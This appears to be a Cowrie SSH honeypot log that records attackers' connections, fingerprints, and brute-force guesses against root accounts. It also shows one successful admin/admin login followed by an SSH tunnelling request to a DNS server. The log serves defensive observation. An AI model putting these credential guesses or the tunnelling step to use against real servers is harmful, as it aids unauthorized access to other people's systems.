{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"1d:ff:53:b3:62:70:03:0d:3c:0c:11:2e:d7:6b:13:1b","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDI4Tz7aHs4A8H3upDkyykcTDtVOzL7u9bfVB41FKBqD2WEjpcV/XWjhX8gGvBKkA9HAyAQI2p/MTRQwfbRmXfEvIFPua8O9uVxL4mbaZ1dEiz5k/bxasjW+76M7pGHZoJxNHx/8tKSnhDc3rmF7E6ijebzapCZR44JScjBIMmJ5K3gBsDmREUcBWJslIGJJQIF4oa7FYf9PN/OZuW4ZPhDKBYHkabfLVA+G1yuZBgIjnEh3yNyvfpBhGocqtXc5+ag9mPSSRGIb5Mf+E5Iu6G+jRrfxflKyK90UjO/KDvCYdjVhXBe4GYRYwlNNw2zheNYnT/rB2YS4Hqsl1xw/6rb","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 1d:ff:53:b3:62:70:03:0d:3c:0c:11:2e:d7:6b:13:1b","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:17:45.946191Z","src_ip":"148.113.221.114","session":"5cfb01116e63","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"1d:ff:53:b3:62:70:03:0d:3c:0c:11:2e:d7:6b:13:1b","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDI4Tz7aHs4A8H3upDkyykcTDtVOzL7u9bfVB41FKBqD2WEjpcV/XWjhX8gGvBKkA9HAyAQI2p/MTRQwfbRmXfEvIFPua8O9uVxL4mbaZ1dEiz5k/bxasjW+76M7pGHZoJxNHx/8tKSnhDc3rmF7E6ijebzapCZR44JScjBIMmJ5K3gBsDmREUcBWJslIGJJQIF4oa7FYf9PN/OZuW4ZPhDKBYHkabfLVA+G1yuZBgIjnEh3yNyvfpBhGocqtXc5+ag9mPSSRGIb5Mf+E5Iu6G+jRrfxflKyK90UjO/KDvCYdjVhXBe4GYRYwlNNw2zheNYnT/rB2YS4Hqsl1xw/6rb","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:17:45.951044Z","src_ip":"148.113.221.114","session":"5cfb01116e63","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"95:01:8c:6b:55:81:ad:91:e9:38:44:d9:a8:2e:53:f3","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCX5cAZ/2+qmdAhrCzDRP1Kf1oNufgnB3cWTKvk6NqhcVqC3CvvJen5tnEjqoc/KlHIfks/VVMGvl5iWLS8/Y0cx+0UIQirkgEmzDsvetHt14pxNIqJtBjwAdQ2pN3gq/T13u2xrtLcI95d3VvZYw5hwvX9sdNkOoHi5MSrpLcozZzFw0A+eyxj+aQANCVEi6kAf4Ogfyxu4nX1aFXTev0gkq83EJgW3X1Dn6wWIay0f7ene7almjnyMKo44h0Mk1nE5HbrB54Xa+gev85LGe8JxG+qnZQY6IXzDvHZ6hvgbA1qt1eL5adJkBxnJ+yzXcyRrdDGFXaKnLJhROHpUiFpr9eGkTWSeMhrcGMgyiMq0RRWdDr7YVehSS2pVaTMLHNR0YVcSiIoobQ3mXXGfwMuvnUY2fvQeFnLZ+DWjSBkxWvhVRLTMkK/EZk6R2FuE22aQbyp6Aryl9DHP3mNsv3xwW3C6TA6zgTZz/gK5hbc5yhhvU2HcobXLn0CJz+Ax+C8SWxjpSZCoRFluDd4e0lbGS8/sv6b7KTguSvmRdgacN9D8kIufMdUgr0WKpNfP17h9yT4O7U57Fz/oe3dzmmR7fPsa5d2EFoQ7H6ssWorxOq2lLlK0r12/pY3367A6RiSxZrMOMvi9kgwIEuZ1dZu2+owf10p5EaTegSLbIUQ9Q==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 95:01:8c:6b:55:81:ad:91:e9:38:44:d9:a8:2e:53:f3","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:17:45.973217Z","src_ip":"148.113.221.114","session":"5cfb01116e63","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"95:01:8c:6b:55:81:ad:91:e9:38:44:d9:a8:2e:53:f3","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCX5cAZ/2+qmdAhrCzDRP1Kf1oNufgnB3cWTKvk6NqhcVqC3CvvJen5tnEjqoc/KlHIfks/VVMGvl5iWLS8/Y0cx+0UIQirkgEmzDsvetHt14pxNIqJtBjwAdQ2pN3gq/T13u2xrtLcI95d3VvZYw5hwvX9sdNkOoHi5MSrpLcozZzFw0A+eyxj+aQANCVEi6kAf4Ogfyxu4nX1aFXTev0gkq83EJgW3X1Dn6wWIay0f7ene7almjnyMKo44h0Mk1nE5HbrB54Xa+gev85LGe8JxG+qnZQY6IXzDvHZ6hvgbA1qt1eL5adJkBxnJ+yzXcyRrdDGFXaKnLJhROHpUiFpr9eGkTWSeMhrcGMgyiMq0RRWdDr7YVehSS2pVaTMLHNR0YVcSiIoobQ3mXXGfwMuvnUY2fvQeFnLZ+DWjSBkxWvhVRLTMkK/EZk6R2FuE22aQbyp6Aryl9DHP3mNsv3xwW3C6TA6zgTZz/gK5hbc5yhhvU2HcobXLn0CJz+Ax+C8SWxjpSZCoRFluDd4e0lbGS8/sv6b7KTguSvmRdgacN9D8kIufMdUgr0WKpNfP17h9yT4O7U57Fz/oe3dzmmR7fPsa5d2EFoQ7H6ssWorxOq2lLlK0r12/pY3367A6RiSxZrMOMvi9kgwIEuZ1dZu2+owf10p5EaTegSLbIUQ9Q==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:17:45.984910Z","src_ip":"148.113.221.114","session":"5cfb01116e63","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"94:e9:46:37:18:de:3e:8a:93:1d:e2:b4:a4:c8:b2:67","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC/lmIBH4ZwHFABmsQwtD5aCySrrr4X92Olt0Ie/FqSYwX5VRH100YqDwTk4eC7R7rY4JdPs7VwtPaxxkb9MnCqLivVPNCa3wseLTflb9RrAIP8CFRwq2BB3nz0CNleZGa0QHNsXDJaenC5OQr1HzBoibSE+QfRCwyXqyR/GhgpbIJYJ20iZ0fxzWHvxcDuog0MzjkRwknHO9wfUv2vRSFKY7m+f8vtNOJkh9/peMI9t/PEKZeU7fyC9wLEh+OLVV3lcJMiYNk+pU5If00Hsim1mXopQsFxRYtPbafIss6OMovGJ3FEE6ZJsaeW1X1MUC80JYChAsNcivM1pNsNHabF","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 94:e9:46:37:18:de:3e:8a:93:1d:e2:b4:a4:c8:b2:67","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:17:46.009659Z","src_ip":"148.113.221.114","session":"5cfb01116e63","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"94:e9:46:37:18:de:3e:8a:93:1d:e2:b4:a4:c8:b2:67","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC/lmIBH4ZwHFABmsQwtD5aCySrrr4X92Olt0Ie/FqSYwX5VRH100YqDwTk4eC7R7rY4JdPs7VwtPaxxkb9MnCqLivVPNCa3wseLTflb9RrAIP8CFRwq2BB3nz0CNleZGa0QHNsXDJaenC5OQr1HzBoibSE+QfRCwyXqyR/GhgpbIJYJ20iZ0fxzWHvxcDuog0MzjkRwknHO9wfUv2vRSFKY7m+f8vtNOJkh9/peMI9t/PEKZeU7fyC9wLEh+OLVV3lcJMiYNk+pU5If00Hsim1mXopQsFxRYtPbafIss6OMovGJ3FEE6ZJsaeW1X1MUC80JYChAsNcivM1pNsNHabF","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:17:46.015424Z","src_ip":"148.113.221.114","session":"5cfb01116e63","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"fa:7c:90:d1:01:a3:f9:90:63:51:3a:ac:f8:7d:5c:98","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCqdMeNtXgNM/2Vnk8FoKUTRSKmqKtfpQV34A0OF91AvUj0+oP5nDlhDExOBWkROipvSN8R+bVrxZ9hv3/IEOyVtEpi/bGBbWNOUe/TPo5N4ouKjjQyb75azbb4LGjeNBY3jTyW6lsw2SjdcU7mQqMPd2XKzcYzGEfOcD26qatrg0hGq52QieggDWDzvRKXWeDPEmjUWetNoehYluAqh+C825BOTCP5U5gMYxQyeNTUTPAcfzfCbouskxRbgG50JjtpKB2OXGZtiPBbJRD5OWpRinWk03fXin/jPaaBb8UsKXEnAM47qy3fx5TycoWX6zTEgwyTwyH4TriaUQNB9oq1","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint fa:7c:90:d1:01:a3:f9:90:63:51:3a:ac:f8:7d:5c:98","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:17:46.042066Z","src_ip":"148.113.221.114","session":"5cfb01116e63","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"fa:7c:90:d1:01:a3:f9:90:63:51:3a:ac:f8:7d:5c:98","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCqdMeNtXgNM/2Vnk8FoKUTRSKmqKtfpQV34A0OF91AvUj0+oP5nDlhDExOBWkROipvSN8R+bVrxZ9hv3/IEOyVtEpi/bGBbWNOUe/TPo5N4ouKjjQyb75azbb4LGjeNBY3jTyW6lsw2SjdcU7mQqMPd2XKzcYzGEfOcD26qatrg0hGq52QieggDWDzvRKXWeDPEmjUWetNoehYluAqh+C825BOTCP5U5gMYxQyeNTUTPAcfzfCbouskxRbgG50JjtpKB2OXGZtiPBbJRD5OWpRinWk03fXin/jPaaBb8UsKXEnAM47qy3fx5TycoWX6zTEgwyTwyH4TriaUQNB9oq1","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:17:46.045949Z","src_ip":"148.113.221.114","session":"5cfb01116e63","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"22:50:ca:00:06:05:ce:7b:92:11:1f:b0:45:95:e5:fe","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCJeNwT7S0IVuz87CsSUppqZ+cqLWUgYdK7d0+smRbWgnzZnUnFBh2qj07ACjLxEl4JWD2YFY8IGgu/SjowR8S+QjZrBy8fJVaxkuEfZnR8eCAzVPyMEA09ofTGmnO014Feo35pGim2MmLud63fkYEIgdygFTOWPkfjRhF0wS2mgIY3KwEy7mVWbVwMwnbg/cJfbK7Zu69wYRmnWkh8/uy2MiopAMwUP4L1Kurg+3AFQ3eg9RXGKgmwuU+NCciKCHsPQJN6YSL06TFubjU9BiTEILHfdZDHkYSh9fJ9pdOcYvtmI/G3KDvUU8wpyFjZQ5uzNuQoHCRW0v1gdAYQN6O5","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 22:50:ca:00:06:05:ce:7b:92:11:1f:b0:45:95:e5:fe","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:17:46.068926Z","src_ip":"148.113.221.114","session":"5cfb01116e63","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"22:50:ca:00:06:05:ce:7b:92:11:1f:b0:45:95:e5:fe","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCJeNwT7S0IVuz87CsSUppqZ+cqLWUgYdK7d0+smRbWgnzZnUnFBh2qj07ACjLxEl4JWD2YFY8IGgu/SjowR8S+QjZrBy8fJVaxkuEfZnR8eCAzVPyMEA09ofTGmnO014Feo35pGim2MmLud63fkYEIgdygFTOWPkfjRhF0wS2mgIY3KwEy7mVWbVwMwnbg/cJfbK7Zu69wYRmnWkh8/uy2MiopAMwUP4L1Kurg+3AFQ3eg9RXGKgmwuU+NCciKCHsPQJN6YSL06TFubjU9BiTEILHfdZDHkYSh9fJ9pdOcYvtmI/G3KDvUU8wpyFjZQ5uzNuQoHCRW0v1gdAYQN6O5","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:17:46.073279Z","src_ip":"148.113.221.114","session":"5cfb01116e63","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.3","message":"Connection lost after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:17:46.097461Z","src_ip":"148.113.221.114","session":"5cfb01116e63","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"blondes","message":"login attempt [root/blondes] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:17:46.481091Z","src_ip":"190.119.63.98","session":"28abae59f5fa","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:17:47.657590Z","src_ip":"190.119.63.98","session":"28abae59f5fa","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.173.83.154","src_port":52568,"dst_ip":"10.17.0.5","dst_port":22,"session":"223e18ccf6c3","protocol":"ssh","message":"New connection: 43.173.83.154:52568 (10.17.0.5:22) [session: 223e18ccf6c3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:17:55.952689Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:17:55.957926Z","src_ip":"43.173.83.154","session":"223e18ccf6c3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:17:56.033344Z","src_ip":"43.173.83.154","session":"223e18ccf6c3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"xxxx","message":"login attempt [root/xxxx] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:17:56.481186Z","src_ip":"43.173.83.154","session":"223e18ccf6c3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:17:57.553729Z","src_ip":"43.173.83.154","session":"223e18ccf6c3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":27506,"dst_ip":"10.17.0.5","dst_port":22,"session":"c8c270d3ce0f","protocol":"ssh","message":"New connection: 87.251.64.176:27506 (10.17.0.5:22) [session: c8c270d3ce0f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:18:25.578469Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:18:25.584018Z","src_ip":"87.251.64.176","session":"c8c270d3ce0f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:18:25.681309Z","src_ip":"87.251.64.176","session":"c8c270d3ce0f","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:18:25.996851Z","src_ip":"87.251.64.176","session":"c8c270d3ce0f","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:18:26.106634Z","session":"c8c270d3ce0f","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:18:26.218208Z","src_ip":"87.251.64.176","session":"c8c270d3ce0f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.8","message":"Connection lost after 0.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:18:26.346009Z","src_ip":"87.251.64.176","session":"c8c270d3ce0f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.153.56.192","src_port":36036,"dst_ip":"10.17.0.5","dst_port":22,"session":"8887e980edab","protocol":"ssh","message":"New connection: 43.153.56.192:36036 (10.17.0.5:22) [session: 8887e980edab]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:18:36.194671Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:18:36.201240Z","src_ip":"43.153.56.192","session":"8887e980edab","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:18:36.270967Z","src_ip":"43.153.56.192","session":"8887e980edab","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"mima2013","message":"login attempt [root/mima2013] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:18:36.579350Z","src_ip":"43.153.56.192","session":"8887e980edab","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:18:37.652194Z","src_ip":"43.153.56.192","session":"8887e980edab","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.134.1.45","src_port":42960,"dst_ip":"10.17.0.5","dst_port":22,"session":"299996cbcfda","protocol":"ssh","message":"New connection: 43.134.1.45:42960 (10.17.0.5:22) [session: 299996cbcfda]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:18:40.566359Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:18:40.573889Z","src_ip":"43.134.1.45","session":"299996cbcfda","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:18:40.811147Z","src_ip":"43.134.1.45","session":"299996cbcfda","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"liujin","message":"login attempt [root/liujin] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:18:41.791697Z","src_ip":"43.134.1.45","session":"299996cbcfda","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:18:43.031864Z","src_ip":"43.134.1.45","session":"299996cbcfda","protocol":"ssh"}
